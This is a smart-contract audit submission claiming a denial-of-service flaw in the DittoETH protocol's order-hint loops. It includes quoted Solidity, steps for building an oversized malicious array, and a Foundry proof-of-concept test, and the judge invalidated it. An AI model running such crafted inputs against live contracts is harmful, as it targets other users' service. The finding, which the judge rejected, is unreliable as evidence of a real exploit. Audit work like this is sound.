DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: medium
Invalid

Unchecked `orderHintArray` & `shortHintArray` arrays open the door to DoS attacks

Summary

Various external functions like createLimitShort(), createAsk(), createBid() allow the user to provide arrays orderHintArray or shortHintArray as parameters which are never checked for duplicate elements or an upper size limit. All such functions eventually call findOrderHintId() or _updateOracleAndStartingShort() where a maliciously crafted large array will be looped in its entirety. This will lead to the protocol service being unavailable for other users (Denial of Service).

Vulnerability Details

The logic of findOrderHintId() is:

File: contracts/libraries/LibOrders.sol
927 function findOrderHintId(
928 mapping(address => mapping(uint16 => STypes.Order)) storage orders,
929 address asset,
930 MTypes.OrderHint[] memory orderHintArray
931 ) internal returns (uint16 hintId) {
932 @> for (uint256 i; i < orderHintArray.length; i++) {
933 MTypes.OrderHint memory orderHint = orderHintArray[i];
934 O hintOrderType = orders[asset][orderHint.hintId].orderType;
935 @> if (hintOrderType == O.Cancelled || hintOrderType == O.Matched) {
936 emit Events.FindOrderHintId(0);
937 @> continue;
938 } else if (
939 orders[asset][orderHint.hintId].creationTime == orderHint.creationTime
940 ) {
941 emit Events.FindOrderHintId(1);
942 return orderHint.hintId;
943 } else if (orders[asset][orderHint.hintId].prevOrderType == O.Matched) {
944 //@dev If hint was prev matched, it means that the hint was close to HEAD and therefore is reasonable to use HEAD
945 emit Events.FindOrderHintId(2);
946 return Constants.HEAD;
947 }
948 }
949 revert Errors.BadHintIdArray();
950 }

A malicious user can craft an orderHintArray which looks something like this:

  • Let arraySize = 100000000 : some large number

  • Create the array orderHintArray of size arraySize

  • Fill index 0 to arraySize-2 with any OrderHint which has orderType as Cancelled or Matched : this will cause the loop to continue on to the next iteration on L935-L937. There is no duplicate element check so you can just repeat the same element over & over again.

  • This should be enough to keep the loop going for a long period of time. But in case we want it to gracefully exit if & when it ends instead of reverting, then perform the next step.

  • Fill index arraySize-1 (the last element in the array) with a valid OrderHint so that the function exits with a return value either on L942 or L946.


Similar logic exists in _updateOracleAndStartingShort():

File: contracts/libraries/LibOrders.sol
812 function _updateOracleAndStartingShort(address asset, uint16[] memory shortHintArray)
813 private
814 {
815 AppStorage storage s = appStorage();
816 uint256 oraclePrice = LibOracle.getOraclePrice(asset);
817 uint256 savedPrice = asset.getPrice();
818 asset.setPriceAndTime(oraclePrice, getOffsetTime());
819 bool shortOrdersIsEmpty = s.shorts[asset][Constants.HEAD].nextId == Constants.TAIL;
820 if (shortOrdersIsEmpty) {
821 s.asset[asset].startingShortId = Constants.HEAD;
822 } else {
823 if (oraclePrice == savedPrice) {
824 return;
825 }
826 uint16 shortHintId;
827 @> for (uint256 i = 0; i < shortHintArray.length;) {
828 shortHintId = shortHintArray[i];
829 unchecked {
830 ++i;
831 }
832
833 {
834 O shortOrderType = s.shorts[asset][shortHintId].orderType;
835 @> if (
836 @> shortOrderType == O.Cancelled || shortOrderType == O.Matched
837 @> || shortOrderType == O.Uninitialized
838 @> ) {
839 @> continue;
840 }
841 }
842
843 uint80 shortPrice = s.shorts[asset][shortHintId].price;
844 uint16 prevId = s.shorts[asset][shortHintId].prevId;
845 //@dev: force hint to be within 1% of oracleprice
846 bool startingShortWithinOracleRange = shortPrice
847 <= oraclePrice.mul(1.01 ether)
848 && s.shorts[asset][prevId].price >= oraclePrice;
849 bool isExactStartingShort = shortPrice >= oraclePrice
850 && s.shorts[asset][prevId].price < oraclePrice;
851 bool allShortUnderOraclePrice = shortPrice < oraclePrice
852 && s.shorts[asset][shortHintId].nextId == Constants.TAIL;
853
854 if (startingShortWithinOracleRange || isExactStartingShort) {
855 //@dev only consider the x% above oraclePrice if there are prev Shorts with price >= oraclePrice
856 s.asset[asset].startingShortId = shortHintId;
857 return;
858 } else if (allShortUnderOraclePrice) {
859 s.asset[asset].startingShortId = Constants.HEAD;
860 return;
861 }
862 }
863
864 revert Errors.BadShortHint();
865 }
866 }

Here too, a malicious user can craft an shortHintArray which looks something like this:

  • Let arraySize = 99999999999 : some large number

  • Create the array shortHintArray of size arraySize

  • Fill index 0 to arraySize-2 with any uint16 (short id) which has orderType as Cancelled or Matched or Uninitialized: this will cause the loop to continue on to the next iteration on L835-L839. There is no duplicate element check so you can just repeat the same element over & over again. In fact, you can also keep them empty! This is because s.shorts[asset][short_id].orderType where short_id = 0 evaluates to O.Uninitialized or zero.

  • This should be enough to keep the loop going for a long period of time. But in case we want it to gracefully exit if & when it ends instead of reverting, then perform the next step.

  • Fill index arraySize-1 (the last element in the array) with a valid uint16 (any active short id which does not belong to the above 3 order types would do) so that the function exits with a return value either on L857 or L860.


Here's an example of such an attack using the external function createLimitShort(). Add the following test inside test/fork/EndToEndFork.t.sol and run via forge test --mt testFork_DoS_Attack -vv:

function testFork_DoS_Attack() public {
// Setup
_setupBeforeDoS();
// Workflow: DoS attack via LimitShort
vm.startPrank(receiver);
MTypes.OrderHint[] memory orderHints = new MTypes.OrderHint[](1);
orderHints[0] = MTypes.OrderHint({hintId: 2, creationTime: 123});
// ============ craft malicious array ============
uint16[] memory largeShortHints = new uint16[](99999); // large-sized array
// just set the last index to something and leave the rest empty (at default value of 0)
largeShortHints[99998] = diamond.getShortIdAtOracle(_cusd);
// =================================================
// will cause the protocol to enter a long loop inside `_updateOracleAndStartingShort()`
diamond.createLimitShort(
_cusd,
currentPrice,
50_000 ether,
orderHints,
largeShortHints,
diamond.getAssetStruct(_cusd).initialMargin
);
vm.stopPrank();
}
function _setupBeforeDoS() internal {
uint16 cusdInitialMargin = diamond.getAssetStruct(_cusd).initialMargin;
// Workflow: Bridge - DepositEth
// sender
vm.startPrank(sender);
assertEq(reth.balanceOf(_bridgeReth), 0);
diamond.depositEth{value: 500 ether}(_bridgeReth);
vm.stopPrank();
// receiver
vm.startPrank(receiver);
assertEq(steth.balanceOf(_bridgeSteth), 0);
diamond.depositEth{value: 500 ether}(_bridgeSteth);
// simulate some initial orders into the system
currentPrice = diamond.getOraclePriceT(_cusd);
MTypes.OrderHint[] memory orderHints = new MTypes.OrderHint[](1);
diamond.createLimitShort(
_cusd,
currentPrice * 3,
2_000 ether,
orderHints,
shortHints,
cusdInitialMargin
);
diamond.createBid(
_cusd, currentPrice * 2, 1_000 ether, false, orderHints, shortHints
);
vm.stopPrank();
// set any new price so that protocol does not use saved price
diamond.setOracleTimeAndPrice(_cusd, currentPrice * 2);
}

If required, one can check the long loop entered inside _updateOracleAndStartingShort() by adding a console.log on the next line.

Impact

DoS attack makes the protocol service unavailable for other users.

Tools Used

Manual inspection.

Recommendations

  • Add a constraint on the maximum size of the arrays external users can pass.

  • Developer can add a duplicate array element check too.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.